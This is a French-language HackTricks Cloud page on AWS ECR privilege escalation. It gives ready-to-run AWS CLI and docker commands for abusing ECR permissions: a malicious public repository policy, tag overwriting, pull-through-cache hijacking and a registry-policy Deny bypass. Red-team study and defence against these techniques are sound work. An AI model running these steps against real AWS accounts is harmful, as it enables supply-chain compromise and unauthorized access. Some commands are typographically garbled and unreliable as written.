AWS - ECR Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
ECR
ecr:GetAuthorizationToken,ecr:BatchGetImage
Un attaquant disposant des permissions ecr:GetAuthorizationToken et ecr:BatchGetImage peut se connecter à ECR et télécharger des images.
For more info on how to download images:
Impact potentiel : privesc indirect en interceptant des informations sensibles dans le trafic.
ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart
Un attaquant disposant de toutes ces permissions peut se connecter Ă ECR et tĂ©lĂ©verser des images. Cela peut permettre dâobtenir une Ă©lĂ©vation de privilĂšges dans dâautres environnements oĂč ces images sont utilisĂ©es.
De plus, ecr:PutImage peut ĂȘtre utilisĂ© pour Ă©craser un tag existant (par exemple stable / prod) en tĂ©lĂ©versant un manifeste dâimage diffĂ©rent sous ce tag, dĂ©tournant ainsi les dĂ©ploiements basĂ©s sur les tags.
Ceci est particuliÚrement impactant lorsque les consommateurs en aval déploient par tag et se mettent à jour automatiquement lors de changements de tag, comme :
- Fonctions Lambda utilisant une image conteneur (
PackageType=Image) faisant rĂ©fĂ©rence Ă.../repo:stable - Services ECS / workloads Kubernetes rĂ©cupĂ©rant
repo:prod(sans verrouillage par digest) - Tout CI/CD qui redéploie sur des événements ECR
Dans ces cas, lâĂ©crasement dâun tag peut conduire Ă remote code execution dans lâenvironnement consommateur et Ă une escalade de privilĂšges vers le rĂŽle IAM utilisĂ© par ce workload (par exemple, un rĂŽle dâexĂ©cution Lambda avec secretsmanager:GetSecretValue).
Pour apprendre comment téléverser une nouvelle image/mettre à jour une existante, consultez :
ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart
Comme la section précédente, mais pour les dépÎts publics.
ecr:SetRepositoryPolicy
Un attaquant disposant de cette permission pourrait changer la politique du repository pour se donner (ou donner à tout le monde) un accÚs lecture/écriture.
Par exemple, ici lâaccĂšs en lecture est accordĂ© Ă tout le monde.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Contenu de my-policy.json:
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
ecr-public:SetRepositoryPolicy
Comme la section précédente, mais pour les dépÎts publics.
Un attaquant peut modifier la politique du dĂ©pĂŽt dâun ECR Public pour accorder un accĂšs public non autorisĂ© ou pour Ă©lever ses privilĂšges.
# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
Impact potentiel: AccĂšs public non autorisĂ© au dĂ©pĂŽt ECR Public, permettant Ă nâimporte quel utilisateur de push, pull ou supprimer des images.
ecr:PutRegistryPolicy
Un attaquant disposant de cette permission pourrait modifier la stratĂ©gie du registre pour sâaccorder Ă lui-mĂȘme, Ă son compte (ou mĂȘme Ă tout le monde) un accĂšs en lecture/Ă©criture.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
ecr:CreatePullThroughCacheRule
Abusez des rĂšgles ECR Pull Through Cache (PTC) pour mapper un namespace upstream contrĂŽlĂ© par un attaquant vers un prĂ©fixe ECR privĂ© de confiance. Cela permet aux workloads qui tirent depuis le ECR privĂ© de recevoir de maniĂšre transparente des images de lâattaquant sans aucun push vers le ECR privĂ©.
- Permissions requises : ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Si vous utilisez un upstream ECR Public : ecr-public:* pour créer/pousser dans le repo public.
- Upstream testé : public.ecr.aws
Steps (example):
- Prepare attacker image in ECR Public
Get your ECR Public alias with: aws ecr-public describe-registries âregion us-east-1
docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
-
Create the PTC rule in private ECR to map a trusted prefix to the public registry aws ecr create-pull-through-cache-rule âregion us-east-2 âecr-repository-prefix ptc âupstream-registry-url public.ecr.aws
-
Pull the attacker image via the private ECR path (no push to private ECR was done) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run ârm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
Potential Impact: compromission de la chaĂźne dâapprovisionnement en dĂ©tournant des noms dâimages internes sous le prĂ©fixe choisi. Tout workload tirant des images depuis le ECR privĂ© utilisant ce prĂ©fixe recevra du contenu contrĂŽlĂ© par lâattaquant.
ecr:PutImageTagMutability
Abusez de cette permission pour basculer un repository avec immutabilitĂ© des tags vers mutable et Ă©craser des tags de confiance (e.g., latest, stable, prod) avec du contenu contrĂŽlĂ© par lâattaquant.
- Permissions requises :
ecr:PutImageTagMutabilityplus les capacitĂ©s de push (ecr:GetAuthorizationToken,ecr:InitiateLayerUpload,ecr:UploadLayerPart,ecr:CompleteLayerUpload,ecr:PutImage). - Impact : compromission de la chaĂźne dâapprovisionnement en remplaçant silencieusement des tags immuables sans changer les noms de tags.
Steps (example):
Empoisonner un tag immuable en basculant sa mutabilité
```bash REGION=us-east-1 REPO=ht-immutable-demo-$RANDOM aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE acct=$(aws sts get-caller-identity --query Account --output text) aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com # Build and push initial trusted tag printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Attempt overwrite while IMMUTABLE (should fail) printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Flip to MUTABLE and overwrite aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Validate consumers pulling by tag now get the poisoned image (prints V2) docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod ```Détournement global du registre via la rÚgle ROOT Pull-Through Cache
CrĂ©ez une rĂšgle Pull-Through Cache (PTC) en utilisant le paramĂštre spĂ©cial ecrRepositoryPrefix=ROOT pour mapper la racine du registre ECR privĂ© vers un registre public en amont (par ex., ECR Public). Tout pull vers un dĂ©pĂŽt inexistant dans le registre privĂ© sera servi de façon transparente depuis lâamont, permettant le supply-chain hijacking sans pousser vers le ECR privĂ©.
- Permissions requises :
ecr:CreatePullThroughCacheRule,ecr:DescribePullThroughCacheRules,ecr:DeletePullThroughCacheRule,ecr:GetAuthorizationToken. - Impact : Les pulls vers
<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>rĂ©ussissent et crĂ©ent automatiquement des dĂ©pĂŽts privĂ©s alimentĂ©s depuis lâamont.
Remarque : Pour les rĂšgles
ROOT, omettez--upstream-repository-prefix. Le fournir provoquera une erreur de validation.
Démo (us-east-1, upstream public.ecr.aws)
```bash REGION=us-east-1 ACCT=$(aws sts get-caller-identity --query Account --output text)1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
aws ecr create-pull-through-cache-rule
âregion â$REGIONâ
âecr-repository-prefix ROOT
âupstream-registry-url public.ecr.aws
2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
aws ecr get-login-password âregion â$REGIONâ | docker login âusername AWS âpassword-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com
Example using an official mirror path hosted in ECR Public
(public.ecr.aws/docker/library/alpine:latest)
docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest
3) Verify repo and image now exist without any push
aws ecr describe-repositories âregion â$REGIONâ
âquery ârepositories[?repositoryName==docker/library/alpine]â
aws ecr list-images âregion â$REGIONâ ârepository-name docker/library/alpine âfilter tagStatus=TAGGED
4) Cleanup
aws ecr delete-pull-through-cache-rule âregion â$REGIONâ âecr-repository-prefix ROOT aws ecr delete-repository âregion â$REGIONâ ârepository-name docker/library/alpine âforce || true
</details>
### `ecr:PutAccountSetting` (Rétrograder `REGISTRY_POLICY_SCOPE` to bypass registry policy Deny)
Abusez de `ecr:PutAccountSetting` pour changer la portĂ©e de la registry policy de `V2` (policy appliquĂ©e Ă toutes les actions ECR) vers `V1` (policy appliquĂ©e seulement Ă `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Si une registry policy restrictive effectue un Deny bloquant des actions comme `CreatePullThroughCacheRule`, la rĂ©trogradation vers `V1` supprime cette enforcement de sorte que les identityâpolicy Allows prennent effet.
- Permissions requises: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Impact: Capacité à effectuer des actions ECR précédemment bloquées par un Deny de la registry policy (p.ex., créer des rÚgles PTC) en définissant temporairement la portée sur `V1`.
Ătapes (exemple):
<details>
<summary>Bypass registry policy Deny on CreatePullThroughCacheRule by switching to V1</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)
# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json
# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION
# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi
# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"
# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

